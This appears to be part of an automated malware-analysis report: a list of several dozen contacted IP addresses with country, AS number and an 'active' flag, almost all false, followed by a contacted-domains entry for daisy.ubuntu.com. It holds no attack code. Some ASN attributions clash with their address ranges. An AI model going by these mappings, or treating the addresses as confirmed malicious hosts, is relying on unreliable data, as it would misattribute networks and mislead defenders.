44034 HI3GSE false
62.56.73.123
 unknown United Kingdom
2529 DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide false
185.217.18.35
 unknown Kazakhstan
8393 ASTEL-ASAlma-AtaKZ false
51.165.160.218
 unknown United States
2686 ATGS-MMD-ASUS false
18.125.252.34
 unknown United States
3 MIT-GATEWAYSUS false
168.212.144.208
 unknown United States
10430 WA-K20US false
31.219.235.255
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
177.179.160.64
 unknown Brazil
7738 TelemarNorteLesteSABR false
128.50.155.85
 unknown United States
11293 UCOP-ASNUS false
93.111.37.224
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
214.3.247.86
 unknown United States
6045 DNIC-ASBLK-05800-06055US false
218.92.250.87
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
165.126.125.91
 unknown United States
103 NWU-ASUS false
104.220.62.108
 unknown United States
11404 AS-WAVE-1US false
221.189.74.98
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
185.145.77.58
 unknown France
205939 BGS-ASFR false
90.37.62.198
 unknown France
3215 FranceTelecom-OrangeFR false
177.140.159.237
 unknown Brazil
28573 CLAROSABR false
216.125.52.121
 unknown United States
40710 CLC-98-ILLINOISUS false
207.90.135.123
 unknown United States
3502 INTNETUS false
118.253.105.108
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
153.25.25.188
 unknown United States
6035 DNIC-ASBLK-05800-06055US false
132.58.133.157
 unknown United States
385 AFCONC-BLOCK1-ASUS false
23.143.219.42
 unknown Reserved
398011 LYNDENDOORUS false
119.255.16.113
 unknown China
23844 BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN false
13.28.34.140
 unknown United States
26662 XEROX-WVUS false
81.213.35.110
 unknown Turkey
9121 TTNETTR false
186.31.3.133
 unknown Colombia
19429 ETB-ColombiaCO false
187.229.212.172
 unknown Mexico
8151 UninetSAdeCVMX false
41.158.210.249
 unknown Gabon
16058 Gabon-TelecomGA false
162.213.143.94
 unknown United States
7819 GLOBAL-IP-NETWORKSUS false
122.183.205.88
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
181.98.53.241
 unknown Argentina
7303 TelecomArgentinaSAAR false
32.195.167.55
 unknown United States
2686 ATGS-MMD-ASUS false
113.163.190.100
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
209.100.127.168
 unknown United States
3356 LEVEL3US false
117.232.210.63
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
9.65.56.210
 unknown United States
3356 LEVEL3US false
106.154.0.189
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
88.60.89.96
 unknown Italy
3269 ASN-IBSNAZIT false
222.127.132.5
 unknown Philippines
4775 GLOBE-TELECOM-ASGlobeTelecomsPH false
88.117.191.218
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
101.74.97.167
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
21.153.96.182
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
33.72.120.213
 unknown United States
2686 ATGS-MMD-ASUS false
176.129.70.251
 unknown France
5410 BOUYGTEL-ISPFR false
131.77.109.43
 unknown United States
5974 DNIC-ASBLK-05800-06055US false
54.176.148.48
 unknown United States
16509 AMAZON-02US false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
108.53.54.74
 unknown United States
701 UUNETUS false
217.20.210.82
 unknown Syrian Arab Republic
29256 INT-PDN-STE-ASSTEPDNInternalASSY false
2.239.104.171
 unknown Italy
12874 FASTWEBIT false
193.168.189.106
 unknown Russian Federation
197628 SUDAKA-NET-UARU false
72.221.209.84
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true